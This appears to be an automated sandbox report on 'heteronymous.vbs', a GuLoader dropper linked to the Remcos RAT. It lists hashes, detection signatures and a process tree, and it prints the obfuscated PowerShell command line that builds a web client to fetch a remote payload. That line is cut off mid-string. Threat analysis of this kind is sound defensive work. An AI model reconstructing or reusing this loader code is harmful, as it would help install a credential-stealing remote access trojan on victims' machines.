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Windows
Analysis Report
heteronymous.vbs
Overview
General Information
| Sample name: | heteronymous.vbs |
| Analysis ID: | 1582685 |
| MD5: | fc612d46cca59534577f51b16710b323 |
| SHA1: | b65ef6cf8e46d38e2ab287f6584c8d456c36202d |
| SHA256: | c43aa71f1636522145ea3e384b2546d5a589260cd7a2cc42688dda5944215b68 |
| Tags: | GuLoadervbsuser-abuse_ch |
| Infos: |   |
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Detection
Remcos, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Detected Remcos RAT
Early bird code injection technique detected
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Maps a DLL or memory area into another process
Potential malicious VBS script found (suspicious strings)
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file registry)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Msiexec Initiated Connection
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 4324 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\heter onymous.vb s" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 1076 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "echo $Ali mentation; function Chirked($H ajji){$For sorgsleder ne=4;$Xeno s=$Forsorg slederne;d o{$Lreanst alterne+=$ Hajji[$Xen os];$Xenos +=5} until (!$Hajji[$ Xenos])$Lr eanstalter ne}functio n Hypohyal ine($banes trkning){ .($Elektri citeten) ( $banestrkn ing)}$Cras situde=Chi rked 'Bes nBoreE Nei TBipa.over W';$Crassi tude+=Chir ked 'Hob E ptobUnfeC fraglAl ti TeksEReban StjT';$Ru ineringer= Chirked 'O plbMS inoB rynz utiam bylforsl P epa U i/'; $Tikampens =Chirked ' B edTDuntl C tasNeop1 For2';$Tr appeopgang en='Jan,[ NonNRa heA griT Iag.P oetSsil e Ra RPre vN u.kIPredC ncoE ympMa krOVet,IFr emNConttDo bbMOve AHy kenHem.aHe ,sgGarre.i trrrefl] a se: Dra:Sg dcS Feie U dtcSnabUKa ntrSgepiCa peTReenyRa gopAl erIn flo AksT U nboTinaCur fuoStanLSa mv=Ernr$Sc ratHousIfa rvkTipbAAf faMEurop S .keHngsnUd arS';$Ruin eringer+=C hirked 'Ov er5Crul.Ce ll0 Ans P yc(C.xcW i lli RepnIn didLakkoMa sowTilrs r og MangN,a veT Kon He mo1B oc0ch ir.Blat0 S la;Strk i sWAfkliUdt nSinu6Bom b4Vent;,ob b Poinx il 6Un r4 Tem ;Jupe Forr EpopvTour: Tele1Mo,s3 Trep1pil . Carb0 Liv) U.pr WallG UnsceParic SkukNonvo Chem/Sauc2 Uci0Vrdi1 Tand0Bro 0 Kary1yngl0 Pupp1Res T agsFIns iM at r IrieS ubsffirmo nonxHvid/E xem1 rk3fo dm1L,ge. O e0';$morg entaage=Ch irked ' bi luHypoSSpr oeTraeRGin h-Un ea De lgPreleAlr n Arbt';$ Snyd=Chirk ed ' anehH jultA,ietA parpJacksu dsl: rog/ Ops/GenbfS pidoPr,m2K iskxSammcS vig.Hin ic hi cJvnguM a i/NonsyW ismA,usivS upeXHin.Cm onorFairQs nveD G u/ AtoMT areg lyks Ya.tF ingrresueC oaln TwidM esaeItab.W unnt OveoT utsc';$Mes sieurs=Chi rked 'Diss >';$Elektr iciteten=C hirked 'Di kiISanseFa rbX';$Fung eres='Over frsels';$T eleteknikk en='\Mikad oerne124.S ty';Hypohy aline (Chi rked ' urt $Dag,gSeis l.audo Cos B R taAero L.isa:Tm e IImprN O,e tJag Uv nt idecoTProg I La O Dir NA,greProd R ov.NSy e eInfosOct =Offc$ fsk eSidenMin V pro:Fir. A Prep For PS gidVa.s aTalltDagn Ament+Am,z $TindT Hal EArmbLJewe ELderTf,ee e nankfysi n ignITavi kAd bKF ge eKe ln');H ypohyaline (Chirked ' u s$ Ust g amblOcea o.rilbPlan Asnowl C e :Che tPerv HTappIUl m CEx,oK Kre S ParEHete tR mm=Suff $Ly tsC ck nS,miYMoto dAnsv.Beam sLichp Van LMoniiNonr T A,a(Relo $ Hy,M Ref ERiskSAnak S Fa INabo EDuodUBe.e R Ma.sUlyk )');Hypohy aline (Chi rked $Trap peopgangen );$Snyd=$t hickset[0] ;$Antenner s192=(Chir ked 'P ys$ ScugGKopul St,gO BriB LaveaSuchl Wilt:Hvidn P ilOContN MellpUndee OmherOraoc Je E.argP SensTMariI P isvHy.de K mpn ygES vens KlusP roa= unNRi ckEFidiWAd sk-Fa kO S loBToppJPu sleVgeaCAn titfor Sik kSTrimYKer asSemitAcq uEBr.mm Sh a.Kart$Res ucReoxRAar eaGillsFad msFil IMo. sT TauUU d